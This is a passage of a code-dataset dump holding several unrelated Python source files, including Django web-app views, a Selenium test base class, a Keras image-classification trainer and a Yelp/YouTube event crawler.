preserve_default=True,\n ),\n migrations.AddField(\n model_name='link',\n name='tags',\n field=models.ManyToManyField(to='links.Tag'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='tag',\n name='thumbnail_url',\n field=models.URLField(null=True, blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='link',\n name='rating',\n field=models.IntegerField(editable=False),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='link',\n name='thumbnail_url',\n field=models.URLField(null=True, blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='link',\n name='visit_count',\n field=models.IntegerField(editable=False),\n preserve_default=True,\n ),\n ]\n","sub_path":"speeddial/links/migrations/0004_auto_20150204_1858.py","file_name":"0004_auto_20150204_1858.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"610665810","text":"from rest_framework import mixins, filters\nfrom rest_framework.permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework.viewsets import GenericViewSet\n\nfrom restapi.models import Prezi\nfrom restapi.serializers import PreziSerializer\n\n\nclass BaseAPIView(mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n mixins.ListModelMixin,\n GenericViewSet):\n \"\"\"\n An API view that is restricted to getting a single instance, listing all\n instances and updating an instance if authenticated.\n \"\"\"\n pass\n\n\nclass PreziAPIView(BaseAPIView):\n\n serializer_class = PreziSerializer\n filter_backends = (filters.SearchFilter,)\n search_fields = ('title',)\n permission_classes = (IsAuthenticatedOrReadOnly,)\n\n def get_queryset(self):\n queryset = Prezi.objects.all()\n order = self.request.query_params.get('order', None)\n if order and order.lower() == 'asc':\n return queryset.order_by('created_at')\n else:\n # order by newest first by default\n return queryset.order_by('-created_at')\n","sub_path":"restapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"261083476","text":"import os\nimport csv\nimport json\nimport numpy as np\n\nfrom tkinter.filedialog import askopenfilename, askopenfilenames\n\nfrom process_FWM import get_pump_and_signal_peak\nfrom process_FWM import get_signal_and_idler_peak\nfrom process_FWM import compute_delta_beta\nfrom process_FWM import compute_gamma\n\nfrom process_file import split_path\nfrom process_file import read_parameter_file\nfrom process_file import plot_beta_gamma\n\nprint(\"Enter the input spectrum file: \")\ninput_file_path = askopenfilename(initialdir='~/FWM', filetypes=[(\"Input Spectrum files\", \"*.SPE\")])\n\ndirectory, filename, extension = split_path(input_file_path)\npump_wavelength, input_pump_power, input_signal_wavelength, input_signal_power = \\\n get_pump_and_signal_peak(input_file_path)\n\njson_file_path = os.path.join(directory,'parameter.json')\nif not os.path.exists(json_file_path):\n print(\"parameter.json doest not exist\")\n exit()\n\njson_file = open(json_file_path)\njsonData = json.loads(json_file.read())\n\nalpha_db = jsonData[\"alpha_dB\"]\ndispersion_slope = jsonData[\"DS(ps/nm2km)\"]\nlength = jsonData[\"Length(km)\"]\nlambda0 = jsonData[\"Lambda0(nm)\"]\njson_file.close()\n\noutput_file_tuple = askopenfilenames(initialdir=directory, title='Choose spectrum files: (Shift for ease selection)')\n\nresult_file_path = os.path.join(directory, \"result1.csv\")\n\nwith open(result_file_path, 'w') as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n\n writer.writerow(['filename', 'pump_wavelength(nm)', 'input_pump_power(dBm)', 'signal_wavelength(nm)',\n 'input_signal_power(dBm)', 'idler_wavelength(nm)', 'output_idler_power(dBm)', 'delta_beta(/km)',\n 'etta', 'gamma(1/W.km)'])\n\n for filename in output_file_tuple:\n print(\"Filename = \", filename)\n\n full_path = os.path.join(directory, filename)\n signal_wavelength, output_signal_power, output_idler_wavelength, output_idler_power = \\\n get_signal_and_idler_peak(full_path)\n\n delta_beta = compute_delta_beta(dispersion_slope, lambda0, pump_wavelength, signal_wavelength)\n etta, gamma = compute_gamma(alpha_db, length, delta_beta, input_pump_power, input_signal_power,\n output_idler_power)\n\n writer.writerow([filename, pump_wavelength, input_pump_power, signal_wavelength, input_signal_power,\n output_idler_wavelength, output_idler_power, delta_beta, etta, gamma])\ncsv_file.close()\n\nplot_beta_gamma(result_file_path)\n\n\n\n\n\n\n\n\n","sub_path":"main_code.py","file_name":"main_code.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598493089","text":"from django.shortcuts import render\n# Create your views here.\n\nimport os\nfrom datetime import *\nfrom io import BytesIO\n\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template\n\nfrom .forms import RegisterStudentForm, LoginStudentForm, FeesApplicationForm\n\nfrom .router import *\n\nfrom django.contrib.auth import authenticate, login, logout\n\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Student, Admin, FeesNotification, FeesPayment\nfrom django.utils.timezone import localtime, now\n\nfrom xhtml2pdf import pisa\n\n\ndef homepage(request):\n message = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n return render(request, 'examApplication/home_page.html', {'message': message})\n\n\ndef register_student(request):\n\n if request.method == \"POST\":\n form = RegisterStudentForm(request.POST)\n if form.is_valid():\n form.save()\n request.session['message'] = 'Registration Successful, Now you can login'\n return redirect(\"home_page\")\n else:\n form = RegisterStudentForm()\n\n return render(request, 'examApplication/student/register.html', {'form': form})\n\n\ndef login_student(request):\n if is_logged_in(request):\n return handle_already_logged_in_error(request)\n\n message = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n print(\"ok i am executed, \")\n\n error = None\n\n if request.method == \"POST\":\n form = LoginStudentForm(request.POST or None)\n if form.is_valid():\n user = authenticate(\n username=form.cleaned_data[\"username\"], password=form.cleaned_data['password'])\n if user is not None and user.profile.type == 'u':\n login(request, user)\n return redirect('dashboard', permanent=True)\n else:\n error = 'incorrect username and password'\n else:\n error = 'invalid data entered'\n else:\n form = LoginStudentForm()\n\n return render(request, 'examApplication/student/login.html', {'form': form, 'user': 'student', 'message': message, 'error': error})\n\n\n@login_required(login_url='/login')\ndef dashboard(request):\n if request.user.profile.type == 'u':\n user = Student.objects.get(EmailId=request.user.username)\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n\n application_opened = None\n not_paid = None\n hall_ticket_available = FeesNotification.objects.all().first().HallTicketAvailable\n if FeesNotification.objects.all().count() > 0:\n application_opened = True\n print(FeesNotification.objects.all().count() )\n not_paid = True\n\n #print(FeesPayment.objects.get(StudentId = user))\n if FeesPayment.objects.filter(StudentId = user).exists() :\n not_paid = False\n\n return render(request, 'examApplication/student/dashboard.html', {\"user\": user, \"hall_ticket_available\": hall_ticket_available, error: \"error\", \"application_opened\": application_opened, \"not_paid\": not_paid})\n return handle_lacks_privileges_error(request)\n\n\n\n@login_required(login_url='login')\ndef download_hall_ticket(request):\n if request.user.profile.type == 'u':\n student = Student.objects.get(EmailId = request.user.username)\n # pdf = render_to_pdf('examApplication/hallticket.html',{'student':student} )\n # return render(request, 'examApplication/hallticket.html', {'student':student} )\n template = get_template('examApplication/hallticket.html')\n context = {\n 'student':student\n }\n html = template.render(context)\n pdf = render_to_pdf('examApplication/hallticket.html', context)\n return HttpResponse(pdf, content_type=\"application/pdf\")\n # return HttpResponse(pdf, content_type='application/pdf')\n return handle_lacks_privileges_error(request)\n\ndef render_to_pdf(template_src, context_dict={}):\n template = get_template(template_src)\n html = template.render(context_dict)\n result = BytesIO()\n pdf = pisa.pisaDocument(BytesIO(html.encode(\"ISO-8859-1\")), result)\n if not pdf.err:\n return HttpResponse(result.getvalue(), content_type='application/pdf')\n return None\n\ndef link_callback(uri, rel):\n print(\"called link with \", uri, \" \", rel)\n sUrl = settings.STATIC_URL # Typically /static/\n sRoot = settings.STATIC_ROOT # Typically /home/userX/project_static/\n path = None\n if uri.startswith(sUrl):\n path = os.path.join(sRoot, uri.replace(sUrl, \"\"))\n if not os.path.isfile(path):\n raise Exception('media URI must start with %s or %s' % (sUrl))\n return path\n\n\n\n@login_required(login_url='home_page')\ndef logout_view(request):\n profile = request.user.profile.type\n logout(request=request)\n request.session['message'] = 'Successfully logged out'\n if profile == 'a':\n return redirect('login_admin')\n elif profile == 'u':\n return redirect('login_student')\n\n\n@login_required(login_url='login')\ndef pay_fees(request):\n message = None\n error = None\n if request.user.profile.type == 'u':\n if request.method == \"POST\":\n form = FeesApplicationForm(request.POST or None)\n if form.is_valid():\n fees_notification = FeesNotification.objects.all().first()\n student = Student.objects.get(EmailId = request.user.username)\n fees_payment = FeesPayment.objects.create(ApplicationId = fees_notification, StudentId = student, PaidFees = str(form['PaidFees'].value()) )\n return redirect('dashboard')\n else:\n form = FeesApplicationForm()\n print('yes here ')\n return render(request, 'examApplication/student/pay_fees.html', {'form':form, 'error': error, 'messages': message})\n return handle_lacks_privileges_error(request)\n\n\n\n\n\n\n\n\n\n\n\n\n # admin starts here\n\n\ndef login_admin(request):\n if is_logged_in(request):\n return handle_already_logged_in_error(request)\n\n message = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n print(\"Ok i am executed, \")\n\n error = None\n\n if request.method == \"POST\":\n form = LoginStudentForm(request.POST or None)\n if form.is_valid():\n user = authenticate(\n username=form.cleaned_data[\"username\"], password=form.cleaned_data['password'])\n if user is not None and user.profile.type == 'a':\n login(request, user)\n return redirect('dashboard_admin', permanent=True)\n else:\n error = 'Incorrect username and password'\n else:\n error = 'Invalid data entered'\n else:\n form = LoginStudentForm()\n\n return render(request, 'examApplication/student/login.html', {'form': form, 'user': 'admin', 'message': message})\n\n\n@login_required(login_url='login_admin')\ndef dashboard_admin(request):\n if request.user.profile.type == 'a':\n user = Admin.objects.get(EmailId=request.user.username)\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n\n application_opened = None\n hall_ticket_available = FeesNotification.objects.all().first().HallTicketAvailable\n print(hall_ticket_available)\n if FeesNotification.objects.all().count() == 1:\n application_opened = True\n print(FeesNotification.objects.all().count())\n\n return render(request, 'examApplication/admin/dashboard.html', {\"admin\": user, \"hall_ticket_available\": hall_ticket_available, \"error\": error, \"application_opened\": application_opened})\n return handle_lacks_privileges_error(request)\n\n\n@login_required(login_url='login_admin')\ndef open_fees_application(request):\n if request.user.profile.type == 'a':\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n fee_notification = FeesNotification.objects.create(StartDate=localtime(\n now()).date(), EndDate='2018-09-01', Description='fees notification working')\n fee_notification.save()\n return redirect('dashboard_admin')\n\n\n@login_required(login_url='login_admin')\ndef close_fees_application(request):\n if request.user.profile.type == 'a':\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n\n return redirect('dashboard_admin')\n\n\n@login_required(login_url='login_admin')\ndef extend_fees_date(request):\n if request.user.profile.type == 'a':\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n return redirect('dashboard_admin')\n\n\n@login_required(login_url='login_admin')\ndef send_fees_reminder(request):\n if request.user.profile.type == 'a':\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n # fetch from form\n # fees = Fees.objects.create()\n return redirect('dashboard_admin')\n\n\n\n#hall ticket printout...\n@login_required(login_url='login')\ndef hall_ticket_printout(request):\n if request.user.profile.type == 'a':\n message = None\n error = None\n if 'message' in request.session:\n message = request.session['message']\n request.session['message'] = None\n fees_notification = FeesNotification.objects.all().first()\n fees_notification.HallTicketAvailable = 'true'\n fees_notification.save()\n \n return redirect('dashboard_admin')\n return handle_lacks_privileges_error(request)","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"380306875","text":"import os\nimport sys\n\nthis_dir = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(os.path.join(this_dir, '..', 'PageObjects'))\n\nfrom JupyterUtils import JupyterUtils\nfrom VcdatLeftSideBar import VcdatLeftSideBar\nfrom FileBrowser import FileBrowser\nfrom MainPage import MainPage\nfrom NoteBookPage import NoteBookPage\n\nimport time\nimport unittest\nimport tempfile\n\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium import webdriver\nfrom selenium.webdriver import DesiredCapabilities\n# from selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.firefox.firefox_profile import FirefoxProfile\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\nfrom pyvirtualdisplay import Display\n\n\nclass BaseTestCase(unittest.TestCase):\n '''\n Following env variable should be set:\n BROWSER_MODE: '--foreground' or '--headless'\n BROWSER_TYPE: 'chrome' or 'firefox'\n BROWSER_DRIVER: full path to your browser driver (chromedriver or geckodriver)\n If running with firefox on Linux, should also set:\n BROWSER_BINARY: full path to your firefox binary\n '''\n _delay = 0.1\n _wait_timeout = 10\n\n def setUp(self):\n self._download_dir = tempfile.mkdtemp()\n browser = os.getenv(\"BROWSER_TYPE\", 'chrome')\n mode = os.getenv(\"BROWSER_MODE\", '--headless')\n print(\"...browser: {b}\".format(b=browser))\n print(\"...mode: {m}\".format(m=mode))\n\n if mode == \"--headless\" and os.getenv(\"CIRCLECI\"):\n print(\"...starting display since we are running in headless mode\")\n display = Display(visible=0, size=(800, 600))\n display.start()\n\n if browser == 'chrome':\n self.setup_for_chrome(mode)\n elif browser == 'firefox':\n self.setup_for_firefox(mode)\n\n self.driver.implicitly_wait(self._wait_timeout)\n time.sleep(self._delay)\n\n utils = JupyterUtils()\n self.server = utils.get_server()\n self.main_page = MainPage(self.driver, self.server)\n self.left_side_bar = VcdatLeftSideBar(self.driver, None)\n self.file_browser = FileBrowser(self.driver, None)\n self.click_on_file_browser_home()\n\n self._test_notebook_file = \"{t}.ipynb\".format(t=self._testMethodName)\n self.notebook_page = NoteBookPage(self.driver, None)\n self.notebook_page.rename_notebook(self._test_notebook_file)\n\n def tearDown(self):\n print(\"...BaseTestCase.tearDown()...\")\n self.main_page.shutdown_kernel()\n self.notebook_page.save_current_notebook()\n self.notebook_page.close_current_notebook()\n self.driver.quit()\n os.remove(self._test_notebook_file)\n\n def setup_for_chrome(self, mode):\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_argument(mode)\n chrome_options.add_argument(\"--no-sandbox\")\n chrome_options.add_argument(\"window-size=1200x600\")\n self.driver = webdriver.Chrome(executable_path=os.getenv(\"BROWSER_BINARY\", \"/usr/local/bin/chromedriver\"),\n chrome_options=chrome_options,\n service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])\n\n def setup_for_firefox(self, mode):\n firefox_profile = FirefoxProfile()\n firefox_profile.set_preference('dom.disable_open_during_load', False)\n firefox_capabilities = DesiredCapabilities().FIREFOX\n firefox_capabilities['marionette'] = True\n firefox_capabilities['moz:firefoxOptions'] = {'args': ['--headless']}\n\n firefox_binary = FirefoxBinary(os.getenv(\"BROWSER_BINARY\", \"/usr/bin/firefox\"))\n geckodriver_loc = os.getenv(\"BROWSER_DRIVER\", \"/usr/local/bin/geckodriver\")\n self.driver = webdriver.Firefox(firefox_profile=firefox_profile,\n firefox_binary=firefox_binary,\n executable_path=geckodriver_loc,\n capabilities=firefox_capabilities)\n\n #\n # notebook utils\n #\n\n def close_notebook_if_any(self):\n try:\n note_book = NoteBookPage(self.driver)\n note_book.close()\n time.sleep(self._delay)\n except NoSuchElementException:\n print(\"No notebook opened\")\n pass\n\n def close_current_notebook(self):\n self.main_page.close_current_notebook()\n\n #\n # Load a data file\n #\n\n def load_data_file(self, filename):\n # left_side_bar = VcdatLeftSideBar(self.driver, None)\n self.left_side_bar.click_on_jp_vcdat_icon()\n time.sleep(self._delay)\n self.left_side_bar.click_on_load_variables_by_file()\n\n # file_browser = FileBrowser(self.driver, None)\n self.file_browser.double_click_on_a_file(filename)\n time.sleep(self._delay)\n\n def load_sample_data(self, filename):\n # left_side_bar = VcdatLeftSideBar(self.driver, None)\n self.left_side_bar.click_on_jp_vcdat_icon()\n time.sleep(self._delay)\n self.left_side_bar.click_on_load_variables_by_file()\n\n # file_browser = FileBrowser(self.driver, None)\n self.click_on_file_browser_home()\n print(\"DEBUG DEBUG...returned from click_on_file_browser_home...\")\n time.sleep(5)\n if \"/\" in filename:\n paths = filename.split('/')\n for f in paths[:-1]:\n print(\"xxx double clicking on {f}\".format(f=f))\n self.file_browser.double_click_on_a_file(f, False)\n time.sleep(self._delay)\n self.file_browser.double_click_on_a_file(paths[-1])\n time.sleep(self._delay)\n\n #\n #\n #\n def click_on_plot(self):\n self.left_side_bar.click_on_plot()\n\n def click_on_clear(self):\n self.left_side_bar.click_on_clear()\n\n def select_plot_type(self, plot_type):\n self.left_side_bar.select_plot_type(plot_type)\n\n #\n # kernel utils\n #\n def select_kernel(self):\n self.main_page.select_kernel()\n\n def click_on_file_browser_home(self):\n self.left_side_bar.click_on_file_folder()\n self.file_browser.click_on_home()\n\n #\n # download_sample_data\n #\n def download_sample_data(self):\n vp = \"vcs_egg_path = pkg_resources.resource_filename(pkg_resources.Requirement.parse('vcs'), 'share/vcs')\"\n download_code = [\"import vcs\",\n \"import cdms2\",\n \"import cdat_info\",\n \"import pkg_resources\",\n vp,\n \"path = vcs_egg_path+'/sample_files.txt'\",\n \"cdat_info.download_sample_data_files(path,'sample_data')\"]\n self.notebook_page.enter_code_list(download_code)\n","sub_path":"tests/TestUtils/BaseTestCase_TOBEREMOVED.py","file_name":"BaseTestCase_TOBEREMOVED.py","file_ext":"py","file_size_in_byte":6785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467852024","text":"import sys\nimport os\n\ntarget_dir=sys.argv[1]\nfile_list=os.listdir(target_dir)\n\nfor file in file_list:\n\tf=open(target_dir+file, 'r')\n\t#print(\"file: %s\" %file)\n\tdump=f.read()\n\tif \"0000\" in dump:\n\t\tprint(file)\n\tf.close()\n","sub_path":"preprocessing/check_encrpyt.py","file_name":"check_encrpyt.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"162831147","text":"import archipel\nimport os\nimport pathlib\n\n\npath = pathlib.Path(\n os.environ.get(\"ARCHIPEL\"), \"etc\", \"txt\", \"reglommed-w-numbers.txt\"\n)\noutput = open(path, \"w\")\n\nfor q in range(1, 21):\n x, first = 1, True\n while True:\n numbers = archipel.etc.implementation.utilities.make_reglommed_w_numbers(\n q, (3, 3, 6, 10), x\n )\n if first:\n output.write(\"%s counts:\\n\" % sum(numbers))\n first = False\n if 0 in numbers:\n break\n elif max(numbers) < 20:\n numbers = \" \".join([str(number) for number in numbers])\n output.write(\"(%s/3-3-6-10) %s: %s\\n\" % (q, x, numbers))\n x += 1\n output.write(\"\\n\")\n\noutput.close()\n","sub_path":"archipel/etc/implementation/write/write_reglommed_w_numbers.py","file_name":"write_reglommed_w_numbers.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427043895","text":"import keras\nimport numpy as np\nimport scipy as sp\nfrom scipy import misc\nimport pandas as pd\nimport pickle\nimport sys\nimport os\nimport tensorflow as tf\nfrom tqdm import tqdm\nimport gc\n\nfrom sklearn import model_selection\nfrom sklearn import metrics\n\nfrom keras import optimizers\nfrom keras.models import Sequential\nfrom keras.models import load_model\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.metrics import categorical_accuracy\nfrom keras.preprocessing.image import ImageDataGenerator\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # Turn off tensorflow output\n\n# Constants\nIMG_SIZE = 128\nlearn_rates = [1e-4, 1e-5]\n\n# Convulutional Neural Network\ndef model_nn():\n model = Sequential()\n model.add(Conv2D(16, (3, 3), activation='relu', input_shape=(IMG_SIZE, IMG_SIZE, 3)))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Conv2D(32, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Conv2D(128, (3, 3), activation='relu')) \n model.add(Flatten())\n model.add(Dense(2048, activation='relu'))\n model.add(Dropout(0.65))\n model.add(Dense(512, activation='relu'))\n model.add(Dropout(0.55))\n model.add(Dense(1, activation='sigmoid'))\n return model\n\n\n\nprint('\\nStarto!\\n')\n\n\n# Load and process train labels\nwith open('../train_labels.csv', 'r') as f:\n\tlabels_u = pd.read_csv(f)\n\nlength = len(labels_u)\n\nlabels = np.zeros((length), dtype=np.uint8)\nfor i in tqdm(range(length)):\n\tlabels[i] = labels_u['invasive'][i]\ndel labels_u\ngc.collect()\n\nprint('Loaded and processed train labels...\\n')\n\n\n# Load and process image data\nwith open('./data/train.npy', 'rb') as f:\n\timages_u = np.load(f)\n\nimages = np.zeros((length,IMG_SIZE,IMG_SIZE,3), dtype=np.uint8)\nfor i in tqdm(range(length)):\n\timages[i] = sp.misc.imresize(images_u[i], (IMG_SIZE,IMG_SIZE,3))\ndel images_u\ngc.collect()\n\nprint('Loaded and processed train images...\\n')\n\n\nprint('Start training network\\n')\n\nmodel = model_nn()\nprint(model.summary())\nkf = model_selection.KFold(n_splits = 7, shuffle = True)\n\nfor train, test in kf.split(images):\n\tx_tr = images[train]; x_te = images[test]\n\ty_tr = labels[train]; y_te = labels[test]\n\n\tdatagen = ImageDataGenerator(\n\t\t\trotation_range = 30,\n\t\t\twidth_shift_range = 0.2,\n\t\t\theight_shift_range = 0.2,\n\t\t\tshear_range = 0.2,\n\t\t\tzoom_range = 0.2,\n\t\t\thorizontal_flip = True,\n\t\t\tvertical_flip = True,\n\t\t\tfill_mode = 'nearest')\n\n\tfor learn_rate in learn_rates:\n\t\tprint('\\nTraining model with learn rate: ', learn_rate, '\\n')\n\n\t\tearlystop = keras.callbacks.EarlyStopping(\n\t\t\tmonitor='val_loss', patience = 5, verbose=0, mode='auto')\n\n\t\tsgd = optimizers.SGD(lr = learn_rate, decay = 0, momentum = 0.8, nesterov = True)\n\t\tmodel.compile(loss = 'binary_crossentropy', optimizer = sgd, metrics=['accuracy'])\n\n\t\tmodel.fit_generator(datagen.flow(x_tr, y_tr, batch_size=32),\n\t steps_per_epoch=256, epochs=1000,\n\t callbacks=[earlystop], validation_data=(x_te, y_te))\n\n\tmodel.save('./models/model.h5')\n\tbreak\n\n\nprint('\\nEnd!\\n')\n\n\n\n","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182566813","text":"from snovault import upgrade_step\n\n\n@upgrade_step('human_postnatal_donor', '1', '2')\ndef human_postnatal_donor_1_2(value, system):\n\tif 'family_history_breast_cancer' in value:\n\t\tvalue['family_members_history_breast_cancer'] = value['family_history_breast_cancer']\n\t\tdel value['family_history_breast_cancer']\n\n\n@upgrade_step('human_postnatal_donor', '2', '3')\ndef human_postnatal_donor_2_3(value, system):\n\tif 'height' in value:\n\t\tvalue['height'] = str(value['height'])\n\tif 'body_mass_index' in value:\n\t\tvalue['body_mass_index'] = str(value['body_mass_index'])\n\n\n@upgrade_step('human_postnatal_donor', '3', '4')\n@upgrade_step('human_prenatal_donor', '1', '2')\ndef human_donor_ancestry(value, system):\n\tif 'ancestry' in value:\n\t\tfor a in value['ancestry']:\n\t\t\ta['fraction'] = a['percentage'] / 100\n\t\t\tdel a['percentage']\n\tdonor_id = value['aliases'][0].split(':')[1]\n\tif donor_id.endswith('_donor'):\n\t\tdonor_id = donor_id[:-6]\n\tvalue['donor_id'] = donor_id\n\n\n@upgrade_step('human_postnatal_donor', '4', '5')\n@upgrade_step('human_prenatal_donor', '2', '3')\ndef human_donor_ethnicity_array(value, system):\n\tif 'ethnicity' in value:\n\t\tvalue['ethnicity'] = [value['ethnicity']]\n\n\n@upgrade_step('human_postnatal_donor', '5', '6')\ndef human_donor_smoker_family_history(value, system):\n\tif 'smoking_history' in value:\n\t\tif value['smoking_history'] == 'none':\n\t\t\tvalue['smoker'] = 'never'\n\tif 'family_members_history_breast_cancer' in value:\n\t\tif value['family_members_history_breast_cancer'] == [\"none\"]:\n\t\t\tvalue['family_medical_history'] = [{\n\t\t\t\t'present': False\n\t\t\t}]\n\t\telse:\n\t\t\tvalue['family_medical_history'] = [{\n\t\t\t\t'family_members': value['family_members_history_breast_cancer'],\n\t\t\t\t'present': True\n\t\t\t}]\n\t\tdel value['family_members_history_breast_cancer']\n\n\n@upgrade_step('human_postnatal_donor', '6', '7')\ndef human_donor_cause_of_death_removal(value, system):\n\tif 'cause_of_death' in value:\n\t\tdel value['cause_of_death']\n\n\n@upgrade_step('human_postnatal_donor', '7', '8')\ndef human_donor_living_at_sample_collection_stringify(value, system):\n\tif 'living_at_sample_collection' in value:\n\t\tvalue['living_at_sample_collection'] = str(value['living_at_sample_collection'])\n","sub_path":"src/encoded/upgrade/donor.py","file_name":"donor.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106231740","text":"# -*- coding: utf-8 -*-\n\n# File name: events.py\n# Author: Kaustav Basu\n# Date created: 03/22/2019\n# Date last modified: 03/22/2019\n# Python Version: 2.7.10\n\nfrom yelpapi import YelpAPI\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom prettytable import PrettyTable\nimport json\nimport sys\nimport dateutil.parser as dp\n\n\ndef getVideoData(response, client):\n videoIds = ''\n numResults = len(response['items'])\n for x in range(numResults):\n if 'id' in response['items'][x]:\n videoIds = videoIds+response['items'][x]['id']['videoId']+','\n videoIds = videoIds[0:len(videoIds)-1]\n response = ''\n if numResults > 0:\n response = videos_list_multiple_ids(client,\n part='snippet,contentDetails,statistics',\n id=videoIds)\n return response\n\ndef remove_empty_kwargs(**kwargs):\n good_kwargs = {}\n if kwargs is not None:\n for key, value in kwargs.iteritems():\n if value:\n good_kwargs[key] = value\n return good_kwargs\n\ndef search_list_by_keyword(client, **kwargs):\n kwargs = remove_empty_kwargs(**kwargs)\n response = client.search().list(\n **kwargs\n ).execute()\n return response\n\ndef videos_list_multiple_ids(client, **kwargs):\n kwargs = remove_empty_kwargs(**kwargs)\n response = client.videos().list(\n **kwargs\n ).execute()\n return response\n\ndef getEventsFromYelp(location):\n eventsList = []\n startTime = dp.parse((datetime.now() + timedelta(days=7)).isoformat()).strftime('%s')\n yelpApi = YelpAPI('')\n response = yelpApi.event_search_query(location=location, sort_by='desc', limit=50, sort_on='popularity', start_date=startTime)\n events = response['events']\n for i in range(len(events)):\n name = events[i]['name']\n attendingCount = events[i]['attending_count']\n interestedCount = events[i]['interested_count']\n cost = events[i]['cost']\n zip = events[i]['location']['zip_code']\n category = events[i]['category']\n time = events[i]['time_start']\n event = [name, attendingCount, interestedCount, cost, zip, category, time]\n eventsList.append(event)\n return eventsList\n\ndef crawlEventOnYoutube(eventName, location):\n videoStats = []\n query = eventName+' '+location\n googleApiKey = ''\n client = build('youtube', 'v3', developerKey = googleApiKey)\n response = search_list_by_keyword(client, part='snippet', maxResults=10, q=query,\n order='date', type='video')\n videoData = getVideoData(response, client)\n numResults = videoData['pageInfo']['totalResults'] if 'pageInfo' in videoData else 0\n totalVideoViews = 0\n totalVideoEngagements = 0\n vidCount = 0\n for i in range(numResults):\n videoTitle = videoData['items'][i]['snippet']['title']\n videoDescription = videoData['items'][i]['snippet']['description']\n videoViews = videoData['items'][i]['statistics']['viewCount'] if 'viewCount' in videoData['items'][i]['statistics'] else 0\n videoLikes = videoData['items'][i]['statistics']['likeCount'] if 'likeCount' in videoData['items'][i]['statistics'] else 0\n videoDislikes = videoData['items'][i]['statistics']['dislikeCount'] if 'dislikeCount' in videoData['items'][i]['statistics'] else 0\n videoFavorites = videoData['items'][i]['statistics']['favoriteCount'] if 'favoriteCount' in videoData['items'][i]['statistics'] else 0\n videoComments = videoData['items'][i]['statistics']['commentCount'] if 'commentCount' in videoData['items'][i]['statistics'] else 0\n if eventName in videoTitle or eventName in videoDescription:\n totalVideoViews = totalVideoViews + int(videoViews)\n totalVideoEngagements = totalVideoEngagements + int(videoLikes) + int(videoDislikes) + int(videoFavorites) + int(videoComments)\n vidCount = vidCount + 1\n videoStats = [totalVideoViews, vidCount, totalVideoEngagements]\n return videoStats\n\nif __name__ == '__main__':\n location = sys.argv[1]\n eventsList = getEventsFromYelp(location)\n t = PrettyTable(['Name', 'Zip Code', 'Category', 'Views', 'Engagements', '# Videos'])\n for i in range(len(eventsList)):\n videoData = crawlEventOnYoutube(eventsList[i][0], location)\n t.add_row([eventsList[i][0], eventsList[i][4], eventsList[i][5], videoData[0], videoData[2], videoData[1]])\n print(t)\n","sub_path":"events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316252359","text":"import numpy as np\n\nclass Cloud:\n def __init__(self, D, N, L, C, uniform=False, sample=False):\n self.D = D\n self.N = N\n self.L = L\n self.C = C\n\n if uniform:\n self.point_array = generateUniformCloud(D,N,L,C)\n elif sample:\n self.point_array = generateSampCloud(D,N,L,C)\n else:\n self.point_array = generateCloud(D,N,L,C)\n \n\ndef hardWallBound(arr,L):\n x = arr[:,0]\n y = arr[:,1]\n z = arr[:,2]\n \n for i in 